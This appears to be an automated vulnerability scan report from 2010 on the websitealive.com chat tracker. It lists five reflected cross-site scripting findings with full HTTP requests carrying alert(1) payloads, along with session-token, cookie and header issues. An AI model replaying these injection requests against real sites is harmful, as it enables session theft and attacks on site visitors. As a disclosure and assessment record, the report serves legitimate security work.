Report generated by XSS.CX at Sat Nov 20 10:44:46 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_height parameter]

1.2. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_left parameter]

1.3. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_linebreaks parameter]

1.4. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_top parameter]

1.5. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_width parameter]

2. Session token in URL

2.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp

2.2. http://a2.websitealive.com/1803/visitor/vTrackerSrc_v2.asp

3. Cookie without HttpOnly flag set

4. HTML does not specify charset

4.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp

4.2. http://a2.websitealive.com/1803/Visitor/vTracker_v2.asp

4.3. http://a2.websitealive.com/1803/rRouter.asp

4.4. http://a2.websitealive.com/1803/visitor/vTrackerSrc_v2.asp

5. Content type incorrectly stated

5.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp

5.2. http://a2.websitealive.com/1803/Visitor/vTracker_v2.asp

5.3. http://a2.websitealive.com/1803/visitor/vTrackerSrc_v2.asp



1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_height parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Issue detail

The value of the p_height request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 8caf7%3balert(1)//31160ad5044 was submitted in the p_height parameter. This input was echoed as 8caf7;alert(1)//31160ad5044 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=100&p_top=100&p_width=0&p_height=08caf7%3balert(1)//31160ad5044&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.06147182458025857 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 15:01:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7500
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...
= (pY + startY - newy)/8;                
                   ftlObj.style.top = newy + 'px';
               }
               
           }        
       }
       
       applyfloatInterval = setInterval("stayTopLeft()",20);
   }

       chatInviteJS('315','2051',100,100,0,08caf7;alert(1)//31160ad5044,'http://images.websitealive.com/images/hosted/upload/29215.gif','https://images.websitealive.com/images/hosted/upload/29215.gif',0,'','Y','2','Y','N');
       

1.2. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_left parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Issue detail

The value of the p_left request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 44b0e%3balert(1)//98269fdbc7f was submitted in the p_left parameter. This input was echoed as 44b0e;alert(1)//98269fdbc7f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=10044b0e%3balert(1)//98269fdbc7f&p_top=100&p_width=0&p_height=0&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.06147182458025857 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 15:01:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7500
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...
       newy += (pY + startY - newy)/8;                
                   ftlObj.style.top = newy + 'px';
               }
               
           }        
       }
       
       applyfloatInterval = setInterval("stayTopLeft()",20);
   }

       chatInviteJS('315','2051',10044b0e;alert(1)//98269fdbc7f,100,0,0,'http://images.websitealive.com/images/hosted/upload/29215.gif','https://images.websitealive.com/images/hosted/upload/29215.gif',0,'','Y','2','Y','N');
       

1.3. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_linebreaks parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Issue detail

The value of the p_linebreaks request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f907f%3balert(1)//bd2d08f6911 was submitted in the p_linebreaks parameter. This input was echoed as f907f;alert(1)//bd2d08f6911 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=100&p_top=100&p_width=0&p_height=0&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0f907f%3balert(1)//bd2d08f6911&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.06147182458025857 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 15:01:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7500
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...
al("stayTopLeft()",20);
   }

       chatInviteJS('315','2051',100,100,0,0,'http://images.websitealive.com/images/hosted/upload/29215.gif','https://images.websitealive.com/images/hosted/upload/29215.gif',0f907f;alert(1)//bd2d08f6911,'','Y','2','Y','N');
       

1.4. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_top parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Issue detail

The value of the p_top request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload d41dc%3balert(1)//0d7d83888f was submitted in the p_top parameter. This input was echoed as d41dc;alert(1)//0d7d83888f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=100&p_top=100d41dc%3balert(1)//0d7d83888f&p_width=0&p_height=0&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.06147182458025857 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 15:01:30 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7499
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...
wy += (pY + startY - newy)/8;                
                   ftlObj.style.top = newy + 'px';
               }
               
           }        
       }
       
       applyfloatInterval = setInterval("stayTopLeft()",20);
   }

       chatInviteJS('315','2051',100,100d41dc;alert(1)//0d7d83888f,0,0,'http://images.websitealive.com/images/hosted/upload/29215.gif','https://images.websitealive.com/images/hosted/upload/29215.gif',0,'','Y','2','Y','N');
       

1.5. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp [p_width parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Issue detail

The value of the p_width request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 1f63d%3balert(1)//5100f3052fb was submitted in the p_width parameter. This input was echoed as 1f63d;alert(1)//5100f3052fb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=100&p_top=100&p_width=01f63d%3balert(1)//5100f3052fb&p_height=0&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.06147182458025857 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 15:01:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7500
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...
+= (pY + startY - newy)/8;                
                   ftlObj.style.top = newy + 'px';
               }
               
           }        
       }
       
       applyfloatInterval = setInterval("stayTopLeft()",20);
   }

       chatInviteJS('315','2051',100,100,01f63d;alert(1)//5100f3052fb,0,'http://images.websitealive.com/images/hosted/upload/29215.gif','https://images.websitealive.com/images/hosted/upload/29215.gif',0,'','Y','2','Y','N');
       

2. Session token in URL  previous  next
There are 2 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


2.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=100&p_top=100&p_width=0&p_height=0&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.5350408145333958 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7473
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...

2.2. http://a2.websitealive.com/1803/visitor/vTrackerSrc_v2.asp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://a2.websitealive.com
Path:   /1803/visitor/vTrackerSrc_v2.asp

Issue detail

The URL in the request appears to contain a session token within the query string:

Request

GET /1803/visitor/vTrackerSrc_v2.asp?action=poll&groupid=1803&websiteid=0&departmentid=0&sessionid_=17412223218157&dt=Computer%20Consulting%20NYC%20%7C%20Computer%20Consulting%20Company%20NY%20%7C%20Computer%20Consulting%20New%20York.&dl=http%3A%2F%2Fwww.onsitein60.com%2Findex.html&rf=http%3A%2F%2Fwww.google.com%2F&wsa_custom_str=^^^^&random=0.10761025614034786 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-control: no-store, must-revalidate, private
Pragma: no-cache
P3P: CP="NOI DSP COR CURa OUR NOR"
Content-Length: 971
Content-Type: text/html
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Cache-control: private

//alert('proactive_lastaccept=');
//alert('trigger: ^');
//alert('0. oktogo:False | triggerurls:^ | visitor_footprint:http://www.onsitein60.com/index.html | anypage_enabled:True');

...[SNIP]...

3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_v2.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /1803/Visitor/vTracker_v2.asp?websiteid=0&groupid=1803 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-control: no-store, must-revalidate, private
Pragma: no-cache
P3P: CP="NOI DSP COR CURa OUR NOR"
Content-Length: 6752
Content-Type: text/html
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Set-Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL; path=/
Cache-control: private


// keep on page
function URLEncode(plaintext)
{
   // The Javascript escape and unescape functions do not correspond
   // with what browsers actually do...
   var SAFECHARS = "0123456789" +                    // N
...[SNIP]...

4. HTML does not specify charset  previous  next
There are 4 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


4.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_JS.asp

Request

GET /1803/Visitor/vTracker_JS.asp?action=startproactive&groupid=1803&websiteid=0&departmentid=2051&sessionid_=17412223218157&appdir=http%3A%2F%2Fa2%2Ewebsitealive%2Ecom&websiteid_x=0&departmentid_x=2051&proactiveid=315&departmentid_invite=2051&p_left=100&p_top=100&p_width=0&p_height=0&p_backgroundimage=http%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_backgroundimage_ssl=https%3A%2F%2Fimages%2Ewebsitealive%2Ecom%2Fimages%2Fhosted%2Fupload%2F29215%2Egif&p_linebreaks=0&p_align=&p_scrolling=Y&p_version=2&autostart=Y&start_in_embed=N&random=0.5350408145333958 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 7473
Content-Type: text/html
Cache-control: private


       //keep in js
   function writeDivProactiveBlock(HTML,p_left,p_top,iwidth,iheight,bg_image,existing){
   
       var div_css = 'text-align:left; margin:0px; z-index:10000;position:absolute;left:' + p
...[SNIP]...

4.2. http://a2.websitealive.com/1803/Visitor/vTracker_v2.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/Visitor/vTracker_v2.asp

Request

GET /1803/Visitor/vTracker_v2.asp?websiteid=0&groupid=1803 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-control: no-store, must-revalidate, private
Pragma: no-cache
P3P: CP="NOI DSP COR CURa OUR NOR"
Content-Length: 6752
Content-Type: text/html
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Set-Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL; path=/
Cache-control: private


// keep on page
function URLEncode(plaintext)
{
   // The Javascript escape and unescape functions do not correspond
   // with what browsers actually do...
   var SAFECHARS = "0123456789" +                    // N
...[SNIP]...

4.3. http://a2.websitealive.com/1803/rRouter.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/rRouter.asp

Request

GET /1803/rRouter.asp?groupid=1803&departmentid=0&websiteid=0 HTTP/1.1
Host: a2.websitealive.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 20 Nov 2010 14:58:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-control: no-store, must-revalidate, private
Pragma: no-cache
Content-Length: 823
Content-Type: text/html
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Cache-control: private


<!-- Include Files Here -->


<!-- Functions Here -->

   <script language=javascript>
       parent.moveTo(100,100);
       parent.resizeTo(460,471);
   </script>
   

<script language="javascript">
...[SNIP]...

4.4. http://a2.websitealive.com/1803/visitor/vTrackerSrc_v2.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://a2.websitealive.com
Path:   /1803/visitor/vTrackerSrc_v2.asp

Request

GET /1803/visitor/vTrackerSrc_v2.asp?action=poll&groupid=1803&websiteid=0&departmentid=0&sessionid_=17412223218157&dt=Computer%20Consulting%20NYC%20%7C%20Computer%20Consulting%20Company%20NY%20%7C%20Computer%20Consulting%20New%20York.&dl=http%3A%2F%2Fwww.onsitein60.com%2Findex.html&rf=http%3A%2F%2Fwww.google.com%2F&wsa_custom_str=^^^^&random=0.10761025614034786 HTTP/1.1
Accept: */*
Referer: http://www.onsitein60.com/index.html
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: a2.websitealive.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDACSTDADR=JKKMAIEBEIGMPIKLAMOJMADL

Response

HTTP/1.1 200 OK
Date: Sat, 20 Nov 2010 14:49:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
cache-control: no-store, must-revalidate, private
Pragma: no-cache
P3P: CP="NOI DSP COR CURa OUR NOR"
Content-Length: 971
Content-Type: text/html
Expires: Tue, 01 Jan 1980 06:00:00 GMT
Cache-control: private

//alert('proactive_lastaccept=');
//alert('trigger: ^');
//alert('0. oktogo:False | triggerurls:^ | visitor_footprint:http://www.onsitein60.com/index.html | anypage_enabled:True');

...[SNIP]...

5. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


5.1. http://a2.websitealive.com/1803/Visitor/vTracker_JS.asp  previous  next

Summary

Severity:   Information
Confidence:   Firm
